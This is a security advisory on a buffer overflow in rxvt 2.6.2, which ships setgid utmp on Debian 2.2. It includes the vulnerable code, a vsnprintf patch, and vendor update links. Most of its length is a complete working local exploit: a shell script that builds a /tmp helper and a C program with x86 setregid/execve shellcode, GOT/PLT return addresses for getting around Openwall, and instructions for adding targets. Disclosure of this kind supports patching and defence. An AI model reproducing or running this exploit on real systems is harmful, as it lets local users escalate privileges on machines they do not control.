COMMAND
rxvt
SYSTEMS AFFECTED
rxvt
PROBLEM
Samuel Dralet found following. Rxvt is a heavily modified
version of xvt. Xvt is an X terminal-emulator that is designed
to be more or less compatible with xterm while using much less
swap space.
Versions 2.6.2 contain a buffer overflow vulnerability. As rxvt
is installed setgid utmp on Debian 2.2, an attacker might be able
to successfully exploit this vulnerability and gain special
privileges on the local system.
The program described here exploits the buffer overflow
vulnerability present in the command.c file:
> tt_printf("\033]l%s\033\\", s ? s : "");
with tt_printf() :
void
tt_printf(const char *fmt,...)
{
int i;
va_list arg_ptr;
unsigned char buf[256];
va_start(arg_ptr, fmt);
vsprintf(buf, fmt, arg_ptr);
va_end(arg_ptr);
tt_write(buf, strlen(buf));
}
's' is a string provided to rxvt by the user thanks to the '-T'
option. Another option '-name' is also vulnerable. Rxvt
supports the main escape sequences, so when a user types the
sequence 'echo -ne "\033[21t"', the window title will be displayed
to stdout. If this user supplies a title with more than 256
caracters, rxvt will do a segmentation fault.
This vulnerability is a classic buffer overflow besides several
details. At first, rxvt drops permissions at once in main.c but
in an incorrect way. It's then possible to recover the
permissions via the saved gid, which is done very well by the
shellcode.
After having written the first version of exploit, /bin/sh was
started well but terminated before a prompt was returned to the
user. In fact, Rxvt closes stdin and stdout before opening the
window. It has thus been necessary to write a program which
recovers the name of the tty (thanks to stderr which is always
open), which opens again stdin and stdout, and which runs then
/bin/sh. This program '/tmp/xx' is run by the shellcode.
The exploit should work against systems protected with the Linux
Kernel patch from the Openwall Project. The idea is to copy the
shellcode to the GOT that is executable. The current version
successfully exploits rxvt on Debian Linux 2.2 system (rxvt
version 2.6.2)
To add some platforms, you must give three parameters :
1) path of binary
2) entry in the PLT strcpy
$objdump -T /path/to/filename | grep strcpy
0804add0 DF *UND* 00000020 GLIBC_2.0 strcpy
^^^^^^^^
3) entry in the GOT strcpy
$objdump -R /path/to/filename | grep strcpy
0805c964 R_386_JUMP_SLOT strcpy
^^^^^^^^
The code:
#!/bin/sh
#
# MasterSecuritY <www.mastersecurity.fr>
#
# xrxvt.sh - Local exploit for xrxvt 2.6.2
# Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
# Copyright (C) 2001 Samuel "Zorgon" Dralet <samuel.dralet@mastersecurity.fr>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
echo "rxvt-2.6.2 exploit for Linux Debian 2.2"
echo "Which target :"
echo -e "\t0. rxvt 2.6.2 (package deb) on Debian 2.2"
echo -e "\t1. rxvt 2.6.2 (tarball) on Debian 2.2"
echo
echo -n "target : "
read TARGET
cat > /tmp/xx.c <<EOF
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char * p_ttyname;
char * argv[] = { "/bin/sh", NULL };
p_ttyname = ttyname( STDERR_FILENO );
if ( p_ttyname == NULL ) {
return( -1 );
}
if ( open(p_ttyname, O_RDONLY) != STDIN_FILENO ) {
return( -1 );
}
if ( open(p_ttyname, O_WRONLY) != STDOUT_FILENO ) {
return( -1 );
}
execve( argv[0], argv, NULL );
return( -1 );
}
EOF
gcc -o /tmp/xx /tmp/xx.c
rm -f /tmp/xx.c
cat > /tmp/xrxvt.c << EOF
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#define BUF 256 /* buffer size */
#define EBP 4
#define EIP 4
#define ESC 3 /* alignment */
#define GID "\x2b"
#define DISPLAY ":0"
#define STACK ( 0xc0000000 - 4 )
Display *d;
char shellcode[] =
/* setregid( -1, GID ); */
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
/* setregid( GID, GID ); */
"\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
/* Aleph One ;) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xx";
struct os
{
int id;
char *desc;
char *path;
unsigned long plt;
unsigned long got;
};
struct os target[]=
{
{ 0, "rxvt 2.6.2 (package deb) on Debian 2.2", "/usr/X11R6/bin/rxvt-xterm",
0x0804add0, 0x0805c964 },
{ 1, "rxvt 2.6.2 (tarball) on Debian 2.2", "/usr/local/bin/rxvt",
0x0804a690, 0x08059e1c },
{ 2, NULL, 0, 0 }
};
void usage ( char *cmd )
{
int i;
fprintf(stderr, "rxvt-2.6.2 exploit for Linux Debian 2.2\n");
fprintf(stderr, "usage: %s <target>\n",cmd);
fprintf(stderr, "with target:\n\n");
for( i < 0; i < sizeof(target) / sizeof(struct os); i++ )
fprintf(stderr, "%d. %s\n", i, target[i].desc);
exit( -1 );
}
int main(int argc, char *argv[])
{
char buffer[ BUF - ESC + EBP + EIP + 12 + 1];
char * exec_argv[] = { NULL, "-T", buffer, NULL };
char * envp[] = { shellcode, NULL };
int i, t;
char *path;
if ( argc != 2 )
usage(argv[0]);
t = atoi(argv[1]);
if( t < 0 || t >= sizeof(target) / sizeof(struct os) )
usage( argv[0] );
path = (char *)malloc(strlen(target[t].path)+1);
strcpy(path,target[t].path);
if ( (d = XOpenDisplay(DISPLAY)) == NULL ){
fprintf(stderr, "Unable to open display: %s\n", DISPLAY);
exit(10);
}
for ( i = 0; i < BUF - ESC + EBP; i++ ) {
buffer[ i ] = 'A';
}
*( (size_t *) &(buffer[i]) ) = target[t].plt;
i += sizeof(size_t);
*( (size_t *) &(buffer[i]) ) = target[t].got + 4;
i += sizeof(size_t);
*( (size_t *) &(buffer[i]) ) = target[t].got + 4;
i += sizeof(size_t);
*( (size_t *) &(buffer[i]) ) = STACK - (strlen(path) + 1) - sizeof(shellcode);
i += sizeof(size_t);
buffer[i] = '\0';
exec_argv[0] = path;
execve( exec_argv[0], exec_argv, envp );
return( -1 );
}
EOF
gcc -o /tmp/xrxvt /tmp/xrxvt.c -lX11
rm -f /tmp/xrxvt.c
echo "Go to rxvt window and type 'echo -ne \"\033[21t\"' ..."
echo "And see ..."
/tmp/xrxvt $TARGET
SOLUTION
Remove the setgid bit from rxvt or apply this patch:
*** command.c Mon Jun 4 23:13:34 2001
--- command.patch.c Mon Jun 4 23:15:11 2001
***************
*** 2378,2384 ****
unsigned char buf[256];
va_start(arg_ptr, fmt);
! vsprintf(buf, fmt, arg_ptr);
va_end(arg_ptr);
tt_write(buf, strlen(buf));
}
--- 2378,2384 ----
unsigned char buf[256];
va_start(arg_ptr, fmt);
! vsnprintf(buf, sizeof(buf), fmt, arg_ptr);
va_end(arg_ptr);
tt_write(buf, strlen(buf));
}
For Debian:
http://security.debian.org/dists/stable/updates/main/source/rxvt_2.6.2-2.1.diff.gz
http://security.debian.org/dists/stable/updates/main/source/rxvt_2.6.2-2.1.dsc
http://security.debian.org/dists/stable/updates/main/source/rxvt_2.6.2.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/binary-alpha/rxvt-ml_2.6.2-2.1_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/rxvt_2.6.2-2.1_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/rxvt-ml_2.6.2-2.1_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/rxvt_2.6.2-2.1_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/rxvt-ml_2.6.2-2.1_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/rxvt_2.6.2-2.1_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/rxvt-ml_2.6.2-2.1_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/rxvt_2.6.2-2.1_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/rxvt-ml_2.6.2-2.1_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/rxvt_2.6.2-2.1_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/rxvt-ml_2.6.2-2.1_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/rxvt_2.6.2-2.1_sparc.deb
For Immunix OS:
http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/rxvt-2.6.1-8_StackGuard_1.i386.rpm
http://download.immunix.org/ImmunixOS/6.2/updates/SRPMS/rxvt-2.6.1-8_StackGuard_1.src.rpm
http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/rxvt-2.6.3-2_imnx_2.i386.rpm
http://download.immunix.org/ImmunixOS/7.0/updates/SRPMS/rxvt-2.6.3-2_imnx_2.src.rpm
Because rxvt has never been installed setgid on any Mandrake Linux
system, Mandrake Linux is not vulnerable to the problem.